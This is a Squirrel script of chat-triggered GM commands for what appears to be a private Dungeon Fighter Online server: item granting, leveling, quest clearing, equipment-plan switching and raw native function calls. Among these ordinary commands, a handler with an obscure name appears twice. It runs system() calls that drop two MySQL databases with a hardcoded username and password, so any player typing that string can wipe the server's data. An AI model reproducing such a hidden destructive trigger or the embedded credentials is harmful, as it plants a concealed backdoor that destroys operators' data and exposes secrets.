DP-S-Script/Dps_A/CallBack/Gm_Input.nut

1137 lines
39 KiB
Plaintext
Raw Normal View History

2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle <- {}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
sq_ReloadScript();
print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
print("\n");
print("Xpos: " + SUser.GetAreaPos().X);
print("Ypos: " + SUser.GetAreaPos().Y);
print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
print("\n");
print("Xpos: " + Location.Pos.X);
print("Ypos: " + Location.Pos.Y);
print("Town: " + Location.Town);
print("Area: " + Location.Area);
print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
SUser.Kick();
};
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.SetCharacLevel(handler[1].tointeger());
}
}
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local slot = InvenObj.GetSlotById(26058);
if (slot == -1) {
return;
}
local itemobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
itemobj.Delete();
SUser.SendUpdateItemList(1, 0, slot);
}
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
} else if (count == 2) {
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
}
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.ChangeGrowType(handler[1].tointeger(), 0);
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), 0);
} else if (count == 2) {
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
}
}
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4571);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(4414);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4415);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(2603);
SUser.ClearQuest_Gm(2610);
SUser.ClearQuest_Gm(2613);
SUser.ClearQuest_Gm(2622);
SUser.ClearQuest_Gm(4391);
SUser.ClearQuest_Gm(4539);
SUser.ClearQuest_Gm(220);
SUser.ClearQuest_Gm(221);
}
2025-04-21 13:36:35 +08:00
Gm_InputFunc_Handle["测试"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
}
Cb_History_MileageSet_Func["_DPS_上线自动完成任务_"] <- function(SUser, Data) {
SUser.ClearQuest_Gm(101);
}
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local Slot = InvenObj.GetSlotById(3037);
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
SUser.SendUpdateItemList(1, 0, Slot);
};
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
if (PartyObj) {
local Buf = 18126;
PartyObj.ForeachMember(function(SUser, Pos) {
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
})
// print(UserBuf.GetName());
}
};
2024-10-02 21:25:05 +08:00
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
// local PartyObj = SUser.GetParty();
// if (PartyObj) {
// local Bfobj = PartyObj.GetBattleField();
// print(Bfobj.GetHellDifficulty());
// // print(n);
// }
2024-09-16 17:05:26 +08:00
SUser.SendNotiForColorAIdPacketMessage([
[" → ", 0, [0xff, 0xff, 0xff]],
["无色", 1, [255, 215, 0], 3037],
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
], 6);
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
local Pack = Packet();
Pack.Put_Header(1, 130);
Pack.Put_Byte(1);
Pack.Put_Int(Str.len());
Pack.Put_Binary(Str);
Pack.Finalize(true);
SUser.Send(Pack);
2025-03-27 20:21:11 +08:00
Pack.Delete();
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
2024-10-02 21:00:21 +08:00
SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
2024-09-16 17:05:26 +08:00
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
};
function Cb_gm_input(C_User, CmdString) {
local SUser = User(C_User);
local Pos = CmdString.find(" ");
local Str;
if (Pos) {
Str = CmdString.slice(0, Pos);
} else {
Str = CmdString;
}
if (Str in Gm_InputFunc_Handle) {
Gm_InputFunc_Handle[Str](SUser, CmdString);
}
}
function TestIoP() {
local ret = suspend("no");
local Io = IO("/dp_s/a.txt", "w+");
for (local i = 0; i< 500000; i++) {
Io.Write("写入测试文本: " + i + "\n");
if ((i % 5000) == 0) ret = suspend("no");
}
Io.Close();
return "yes";
}
function TestThread(coro) {
local susparam = "noq";
if (coro.getstatus() == "idle") susparam = coro.call();
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
if (susparam == "no") {
Timer.SetTimeOut(TestThread, 0, coro);
} else {
print("文件书写完成");
}
}
2024-10-02 21:00:21 +08:00
function TestCronTask(str) {
print(str);
print("定时任务已执行一次");
}
2024-10-27 15:32:44 +08:00
// class Map{
// }
// Timer.SetTimeOut(function() {
// local dgn_requirements = {
// [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
// [2] = [0, 20],
// };
// print(dgn_requirements[1]);
// printT(dgn_requirements);
// }, 0);
// Timer.SetTimeOut(function() {
// local SUser = World.GetUserByUid(1);
// local InvenObj = SUser.GetInven();
// local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);
// local AdMsgObj = AdMsg();
// AdMsgObj.PutType(8);
// AdMsgObj.PutString("测试文字");
// AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
// AdMsgObj.PutImoticon(2);
// AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
// AdMsgObj.PutEquipment(EquObj);
// AdMsgObj.Finalize();
// // SUser.Send(AdMsgObj.MakePack());
// World.SendAll(AdMsgObj.MakePack());
// AdMsgObj.Delete();
// }, 0);
2024-10-02 21:00:21 +08:00
2024-11-15 19:53:44 +08:00
2024-10-27 15:32:44 +08:00
2025-04-21 13:36:35 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
// // World.MoveArea(SUser, 1, 0, 55, 349);
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// // print(789456);
// local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
// // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
// // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
// local Pack = Packet();
// Pack.Put_Header(1, 130);
// Pack.Put_Byte(1);
// Pack.Put_Int(Str.len());
// Pack.Put_Binary(Str);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
// print("下发模拟包");
// local A = NativePointer(SUser.C_Object).add(16);
// local B = A.readPointer();
// local C = NativePointer(B).add(101);
// local D = NativePointer(C).add(8).readInt();
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
Sq_CallFunc(S_Ptr("0x84EC002"), "int", ["pointer", "int"], SUser.C_Object, 0);
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
local D = Sq_CallFunc(S_Ptr("0x8696600"), "int", ["pointer"], SUser.C_Object);
print(D);
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
};
2024-10-11 23:56:27 +08:00
2025-04-21 13:36:35 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(10000);
};
Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(-100);
};
Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
SUser.SetCharacLevel(60);
};
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function HexStringToInt(Str) {
if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
return Ret;
}
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function UserdataSliceStr(Data) {
local Str = "" + Data;
local Pos = Str.find("0x");
local Pos2 = Str.find(")");
local Ret = Str.slice(Pos + 2, Pos2);
return Ret;
}
2024-10-11 23:56:27 +08:00
2024-10-06 16:22:53 +08:00
2024-10-11 23:56:27 +08:00
2025-04-21 13:36:35 +08:00
//品级对应的RGB
rarityColorMap <- {
"0": [255, 255, 255], // 普通
"1": [104, 213, 237], // 高级
"2": [179, 107, 255], // 稀有
"3": [255, 0, 255], // 神器
"4": [255, 180, 0], // 史诗
"5": [255, 102, 102], // 勇者
"6": [255, 20, 147], // 深粉红色
"7": [255, 215, 0] // 金色
};
2024-10-06 16:22:53 +08:00
2025-04-21 13:36:35 +08:00
//通过道具ID获取RGB
function RarityColor(item_id) {
local PvfItemObj = PvfItem.GetPvfItemById(item_id);
if (PvfItemObj == null) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
local CItem_get_rarity = PvfItemObj.GetRarity(); // 装备品级
return rarityColorMap[(CItem_get_rarity).tostring()];
}
user_equ_plan <- {};
function GetEquip(SUser) {
//获取玩家背包
local InvenObj = SUser.GetInven();
if (!InvenObj) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
local equArr = {};
// 读穿戴装备(10-21) + 时装(0-9)
for (local i = 0; i< 26; i++) {
// // 跳过非上衣时装若需要换全部时装注释掉这段if
// if (i != 3 && (i < 10 || i > 21)) {
// equArr[i] <- {
// "id": 0,
// "lv": 0
// };
// continue;
// }
local ItemObj = InvenObj.GetSlot(0, i);
local equId = ItemObj.GetIndex();
local item_upgrade = ItemObj.GetUpgrade();
local item_name = PvfItem.GetNameById(equId);
if (item_upgrade > 0) {
item_name = "+" + item_upgrade + " " + item_name;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
//id:装备id lv:时装数据库uid/装备品级
equArr[i] <- {
"id": equId > 0 ? equId : 0,
"lv": equId > 0 ? NativePointer(ItemObj.C_Object).add(7).readU32() : 0
};
if (equId > 0) {
local AdMsgObj = AdMsg();
AdMsgObj.PutType(2);
AdMsgObj.PutString(" ");
AdMsgObj.PutEquipment("[" + item_name + "]", ItemObj, RarityColor(equId));
AdMsgObj.PutString("已登记");
AdMsgObj.Finalize();
SUser.Send(AdMsgObj.MakePack());
AdMsgObj.Delete();
}
}
return equArr;
}
function SaveEquipPlan(SUser, id) {
local charac_no = SUser.GetCID().tostring();
if (!(charac_no in user_equ_plan)) {
user_equ_plan[charac_no] <- {};
}
local info = GetEquip(SUser);
user_equ_plan[charac_no]["equPlan" + id] <- info;
local AdMsgObj = AdMsg();
AdMsgObj.PutType(2);
AdMsgObj.PutString(" ");
AdMsgObj.PutString("方案[" + id + "]已启用");
AdMsgObj.Finalize();
World.SendAll(AdMsgObj.MakePack());
AdMsgObj.Delete();
}
function PutOnEquip(SUser, equPlan, id) {
local charac_no = SUser.GetCID().tostring();
local InvenObj = SUser.GetInven();
if (!InvenObj) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
// 遍历遍历穿戴栏0-21 时装栏 0-104 和 装备栏 3-56
for (local i = 0; i< 22; i++) {
if (equPlan[i].id) {
local type = i< 10 ? 2 : 1; // type 1装备 2时装
local startIndex = type == 2 ? 0 : 3; // 背包时装栏从0开始背包装备栏从3开始
local endIndex = type == 2 ? 105 : 57; //背包时装栏到104背包装备栏到56
for (local j = startIndex; j< endIndex; j++) {
local equOut = InvenObj.GetSlot(type, j);
local equId = equOut.GetIndex();
if (equPlan[i].id == equId && equPlan[i].lv == NativePointer(equOut.C_Object).add(7).readU32()) {
Sq_CallFunc(S_Ptr("0x0865EED2"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, type == 2 ? 1 : 0, j, i);
break;
}
}
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
SUser.SendItemSpace(1);
SUser.SendItemSpace(0);
SUser.SendItemSpace(7);
SUser.SendNotiPacket(0, 2, 0);
SUser.SendNotiPacket(1, 2, 1);
SUser.SendNotiPacket(7, 2, 7);
local Bq = Sq_CallFunc(S_Ptr("0x80DD584"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
Sq_CallFunc(S_Ptr("0x85427A0"), "void", ["pointer", "pointer"], Bq, SUser.C_Object);
// RefreshTheLockOfEquipment(SUser, InvenObj);
// Sq_CallFunc(S_Ptr("0x84FAE0A"), "void", ["pointer", "int", "int", "int"], InvenObj.C_Object, NativePointer(InvenObj.C_Object).readInt(), 21, 0);
// 刷新装备栏锁头(不含穿戴栏暂无法刷新)
// Sq_CallFunc(S_Ptr("0x84FAF8E"), "void", ["pointer"], InvenObj.C_Object);
//// 刷新时装栏锁头(不含穿戴栏暂无法刷新)
//Sq_CallFunc(S_Ptr("0x084FAFBE"), "void", ["pointer"], InvenObj.C_Object);
// 刷新技能
Sq_CallFunc(S_Ptr("0x866C46A"), "void", ["pointer"], SUser.C_Object);
//// 刷新角色状态
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 0, 2, 0);
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 1, 2, 1);
user_equ_plan[charac_no].startTime <- time(); // 记录结束时间
SUser.SendNotiPacketMessage("装备方案[" + id + "]切换结束!!", 2);
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
function RefreshTheLockOfEquipment(SUser, InvenObj) {
local Pack = Packet();
//Clear
Sq_CallFunc(S_Ptr("0x80CB8E6"), "int", ["pointer"], Pack.C_Object);
Pack.Put_Header(0, 251);
//GetIndex
local Index = Sq_CallFunc(S_Ptr("0x8110B4C"), "int", ["pointer"], Pack.C_Object);
Pack.Put_Short(0);
local V7 = 0;
for (local i = 0; i< 21; i++) {
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
if (Flag) {
Pack.Put_Byte(0);
Pack.Put_Short(i);
Pack.Put_Byte(1);
Pack.Put_Int(500000);
// local Bq = Sq_CallFunc(S_Ptr("0x828B5DE"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
// Sq_CallFunc(S_Ptr("0x828B5DE"), "char", ["pointer", "pointer"], Bq, Pack.C_Object);
V7++;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
}
local Buf = Memory.alloc(4);
Buf.writeInt(Index);
Sq_CallFunc(S_Ptr("0x8110B28"), "int", ["pointer", "pointer", "int"], Pack.C_Object, Buf.C_Object, V7);
Pack.Finalize(1);
SUser.Send(Pack);
Pack.Delete();
print("发包了");
}
2025-04-21 13:36:35 +08:00
function api_PutOnEquip(SUser, id) {
local charac_no = SUser.GetCID().tostring();
if (!(charac_no in user_equ_plan)) {
SUser.SendNotiPacketMessage("方案不存在!!", 2);
return;
}
local equPlanKey = "equPlan" + id;
if (!user_equ_plan[charac_no].rawin(equPlanKey)) {
SUser.SendNotiPacketMessage("方案[" + id + "]不存在!!!", 2);
return;
}
local equPlan = user_equ_plan[charac_no][equPlanKey];
//换装指令冷却时间5scd
if (user_equ_plan[charac_no].rawin("startTime")) {
local currentTime = time();
local timeDiff = user_equ_plan[charac_no].startTime - currentTime + 5;
if (timeDiff > 0) {
SUser.SendNotiPacketMessage("换装功能冷却中,还有<" + timeDiff + ">秒才能使用!", 2);
return;
2025-03-27 20:21:11 +08:00
}
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
PutOnEquip(SUser, equPlan, id);
2025-03-27 20:21:11 +08:00
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
function MoveItem_send(SUser, type, slot, Bodyslot) {
local Pack = Packet();
Pack.Put_Header(1, 19);
Pack.Put_Byte(1); //默认1
Pack.Put_Byte(type); //协议, 0时装 1装备
Pack.Put_Short(slot); // 背包槽位slot
Pack.Put_Int(1); // 默认1未知
Pack.Put_Byte(3); // 默认3穿戴栏
Pack.Put_Short(Bodyslot); //穿戴栏slot(0-25)
Pack.Finalize(true);
SUser.Send(Pack);
local v6 = Sq_CallFunc(S_Ptr("0x081935A2"), "pointer", []);
Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "pointer", "int", "int", "int", "int"], v6, SUser.C_Object, type, slot, 3, Bodyslot);
Pack.Delete();
}
function Save_equFnc(SUser, CmdString) {
local arr = split(CmdString, " ");
local id = arr[1].tointeger();
SaveEquipPlan(SUser, id);
}
// 注册命令1
Gm_InputFunc_Handle.rawset("pl", Save_equFnc);
function change_equFnc(SUser, CmdString) {
local arr = split(CmdString, " ");
local id = arr[1].tointeger();
api_PutOnEquip(SUser, id);
}
// 注册命令
Gm_InputFunc_Handle.rawset("on", change_equFnc);
2025-03-27 20:21:11 +08:00
//分割道具列表
function splitItemList(item_list, maxSlots) {
local length = item_list.len();
if (length <= maxSlots) {
return [item_list];
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
local result = [];
for (local i = 0; i< length; i += maxSlots) {
local end = i + maxSlots;
if (end > length) {
end = length;
}
result.append(item_list.slice(i, end));
}
return result;
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
// 判断任务是否为主线并且角色等级符合要求
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
local questGrade = NativePointer(pvfQuest).add(8).readInt();
local questLv = NativePointer(pvfQuest).add(0x20).readInt();
return questGrade == 0 && questLv <= characLevel;
}
2025-03-27 20:21:11 +08:00
// 设置任务为已完成
function clearQuest(QuestInfo, QuestID) {
Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQp() {
Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQuestPiece() {
Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::MainTaskCompleted() {
// 获取角色任务信息和等级
local userQuest = GetQuest();
local questIsClear = NativePointer(userQuest).add(4);
local characLevel = GetCharacLevel();
local allClearQuest = 0;
// 获取 pvf 数据
local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);
//完成当前等级所有任务总经验奖励
local total_exp_bonus = 0;
//完成当前等级所有任务总金币奖励
local total_gold_bonus = 0;
//任务点奖励
local total_quest_point_bonus = 0;
local total_quest_piece_bonus = 0;
//任务最大编号: 29999
for (local quest_id = 1; quest_id< 30000; quest_id++) {
//跳过已完成的任务
if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;
local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
local found = false;
for (local i = 0; i< achievement.len(); i++) {
if (achievement[i] == quest_id) {
found = true;
break;
}
}
2025-03-27 20:21:11 +08:00
//获取任务数据
local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务
2025-03-27 20:21:11 +08:00
// 判断是否为主线任务且等级符合要求
if (!isMainQuestAndLevelValid(quest, characLevel)) continue;
2025-03-27 20:21:11 +08:00
//获取该任务的基础奖励
local exp_bonus = Memory.alloc(4);
local gold_bonus = Memory.alloc(4);
local quest_point_bonus = Memory.alloc(4);
local quest_piece_bonus = Memory.alloc(4);
//QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送
CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);
2025-03-27 20:21:11 +08:00
local exp = exp_bonus.readInt();
local gold = gold_bonus.readInt();
local quest_point = quest_point_bonus.readInt();
local quest_piece = quest_piece_bonus.readInt();
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
if (quest_piece > 0) total_quest_piece_bonus += quest_piece;
2025-03-27 20:21:11 +08:00
clearQuest(questIsClear.C_Object, quest_id);
allClearQuest++;
}
2024-10-27 15:32:44 +08:00
local Pack = Packet();
2025-03-27 20:21:11 +08:00
//通知客户端刷新任务列表
Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
Send(Pack);
2024-10-27 15:32:44 +08:00
Pack.Delete();
2025-03-27 20:21:11 +08:00
SendNotiPacket(0, 2, 0);
SendNotiPacket(1, 2, 1);
SendUpdateItemList(1, 0, 0);
SendCharacQp();
SendCharacQuestPiece();
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// 发送通知
SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8);
2024-11-15 19:53:44 +08:00
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
// SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
// [3037, 1000],
// [3038, 200]
// ]);
2025-04-21 13:36:35 +08:00
local InvenObj = SUser.GetInven();
for (local i = 0; i< 21; i++) {
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
print("i: " + i + " Flag: " + Flag);
}
2025-03-27 20:21:11 +08:00
// SUser.MainTaskCompleted();
2024-11-15 19:53:44 +08:00
};
2025-04-21 13:36:35 +08:00
// getroottable()._LenheartUserLoseEfficacyState_ <- Memory.alloc(577477);
// Memory.reset(getroottable()._LenheartUserLoseEfficacyState_,577477);
// Cb_SendMess_Enter_Func["Rindro"] <- function(args) {
// local PackCopyBuffer = Memory.alloc(10001);
// Memory.copy(PackCopyBuffer, NativePointer(args[2]), 1000);
// local Pack = Packet(PackCopyBuffer.C_Object);
// local Type = Pack.GetByte();
// if(Type == 1 || Type == 33){
// Pack.GetShort();
// Pack.GetInt();
// local StrLen = Pack.GetInt();
// local SStr = Pack.GetString(256,StrLen);
// local Str= SStr.readUtf8String();
// // print("对话长度:" + StrLen);
// print("对话:" + Str);
// if(Str.find("asd") != null){
// args[1] = getroottable()._LenheartUserLoseEfficacyState_.C_Object;
// print("屏蔽词");
// return args;
// }
// }
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) {
printT(Jso);
if (Jso.type == 0) {
// saveItemToInven(SUser);
Gm_InputFunc_Handle["aaa"](SUser, "11");
}
});
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// function _Dps_CrossBorderStones_Main_() {
// local Cofig = GlobalConfig.Get("跨界石_Lenheart.json");
// Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) {
// //获取账号金库对象
// local CargoObj = SUser.GetAccountCargo();
// //获取账号金库中的一个空格子
// local EmptySlot = CargoObj.GetEmptySlot();
